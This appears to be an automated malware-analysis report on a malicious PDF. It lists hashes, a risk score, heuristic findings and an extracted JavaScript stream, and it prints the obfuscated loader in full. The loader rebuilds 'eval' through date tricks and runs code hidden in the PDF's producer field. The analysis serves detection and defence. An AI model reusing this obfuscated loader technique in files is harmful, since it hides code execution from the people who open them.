Malicious PDF — malware analysis report

Static analysis result for SHA-256 b956cb726fcbf82a…

MALICIOUS

PDF

22.1 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-08
MD5: 7b4653b12b418cd909e36f1ba3ecf16b SHA-1: d813ee43db5e5e1c03d2d8fc5cc57e4afe6ad998 SHA-256: b956cb726fcbf82a510a7cdbe3a9b131615540c10a24271a09207823bc171987
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named javascript_obj0001_000.js, exhibits obfuscation and uses String.fromCharCode, suggesting it is designed to evade static analysis. The primary function of this script is likely to download and execute a secondary payload from a remote source, a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    mkqh\(mkqh\('String.fromCharCode\(' + qtg + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x564B 388 bytes
SHA-256: 82b1e3622204dae07a83c75a18aa987194c0a3d3ac1928c957bf4511d0689184
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
jqtec = app;
jpnbf = new Date(2010,11,4);
var ydevz='';
var ieheq = 'e'+jpnbf.getDay()+'a'+ydevz+'l';
ieheq = ieheq.replace('6','v');
mkqh=jqtec[ieheq];
var ydevz='';
mkqh('va'+ydevz+'r vxdvn=th'+ydevz+'i'+ydevz+'s');
lmy='pr' + ydevz + jpnbf.getDay() + ydevz + 'uc' +'er';
lmy = lmy.replace('6', 'od');
var qtg = vxdvn[lmy];
mkqh(mkqh('String.fromCharCode(' + qtg + ')'));

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